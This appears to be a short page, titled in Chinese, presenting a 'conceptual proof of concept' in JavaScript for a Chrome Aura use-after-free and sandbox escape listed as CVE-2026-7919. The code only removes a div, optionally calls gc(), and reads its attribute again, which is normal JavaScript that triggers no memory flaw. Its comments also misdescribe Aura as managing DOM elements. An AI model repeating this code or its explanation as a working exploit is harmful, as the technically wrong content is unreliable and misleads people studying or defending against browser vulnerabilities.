CVE-2026-7919 Google Chrome Aura沙箱逃逸漏洞

/** * Conceptual PoC for CVE-2026-7919 (Aura Use After Free) * This code demonstrates the logic of triggering a UAF vulnerability. * Actual exploitation requires specific memory layout and heap grooming. */ function triggerCVE20267919() { // 1. Create a DOM element managed by Aura let vulnObj = document.createElement('div'); document.body.appendChild(vulnObj); // 2. Attach a property or event that references the object vulnObj.setAttribute('data-custom', 'payload'); // 3. Remove the object from the DOM tree // This may trigger the destructor in Aura, freeing the memory vulnObj.remove(); // 4. Force Garbage Collection (if possible in the environment) // In a real scenario, an attacker would spray the heap here if (typeof gc !== 'undefined') { gc(); } // 5. Attempt to access the freed object (Use-After-Free) // This triggers the vulnerability try { console.log(vulnObj.getAttribute('data-custom')); } catch (e) { console.error('UAF triggered or access violation'); } } // Trigger the PoC triggerCVE20267919();